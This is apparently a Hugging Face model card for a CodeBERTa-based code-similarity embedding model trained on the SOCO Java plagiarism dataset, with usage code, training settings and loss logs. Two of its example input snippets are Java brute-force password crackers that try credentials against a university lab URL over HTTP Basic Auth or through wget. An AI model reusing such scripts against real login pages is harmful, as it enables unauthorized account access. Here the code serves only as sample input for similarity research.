Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup
Paper
•
2101.06983
•
Published
•
1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8644, 0.1234],
# [0.8644, 1.0000, 0.0765],
# [0.1234, 0.0765, 1.0000]])
anchor_code, positive_code, and negative_code| anchor_code | positive_code | negative_code | |
|---|---|---|---|
| type | string | string | string |
| details |
|
|
|
| anchor_code | positive_code | negative_code |
|---|---|---|
import java.util.; |
import java.util.; |
|
import java.util.; |
import java.util.; |
import java.net.; |
import java.net.; |
import java.net.; |
package java.httputils; |
CachedMultipleNegativesRankingLoss with these parameters:{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
anchor_code, positive_code, and negative_code| anchor_code | positive_code | negative_code | |
|---|---|---|---|
| type | string | string | string |
| details |
|
|
|
| anchor_code | positive_code | negative_code |
|---|---|---|
|
|
import java.net.; |
|
|
|
import java.io.; |
import java.io.; |
|
CachedMultipleNegativesRankingLoss with these parameters:{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
per_device_train_batch_size: 16num_train_epochs: 1warmup_ratio: 0.1fp16: Truebatch_sampler: no_duplicatesoverwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 8per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}parallelism_config: Nonedeepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torch_fusedoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsehub_revision: Nonegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters: auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseliger_kernel_config: Noneeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportionalrouter_mapping: {}learning_rate_mapping: {}| Epoch | Step | Training Loss |
|---|---|---|
| 0.0466 | 100 | 0.9559 |
| 0.0931 | 200 | 0.3877 |
| 0.1397 | 300 | 0.386 |
| 0.1862 | 400 | 0.3535 |
| 0.2328 | 500 | 0.3314 |
| 0.2793 | 600 | 0.3485 |
| 0.3259 | 700 | 0.3315 |
| 0.3724 | 800 | 0.3425 |
| 0.4190 | 900 | 0.3402 |
| 0.4655 | 1000 | 0.3406 |
| 0.5121 | 1100 | 0.3271 |
| 0.5587 | 1200 | 0.3356 |
| 0.6052 | 1300 | 0.3164 |
| 0.6518 | 1400 | 0.3122 |
| 0.6983 | 1500 | 0.3119 |
| 0.7449 | 1600 | 0.3124 |
| 0.7914 | 1700 | 0.3 |
| 0.8380 | 1800 | 0.2786 |
| 0.8845 | 1900 | 0.3148 |
| 0.9311 | 2000 | 0.283 |
| 0.9777 | 2100 | 0.297 |
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
Base model
huggingface/CodeBERTa-small-v1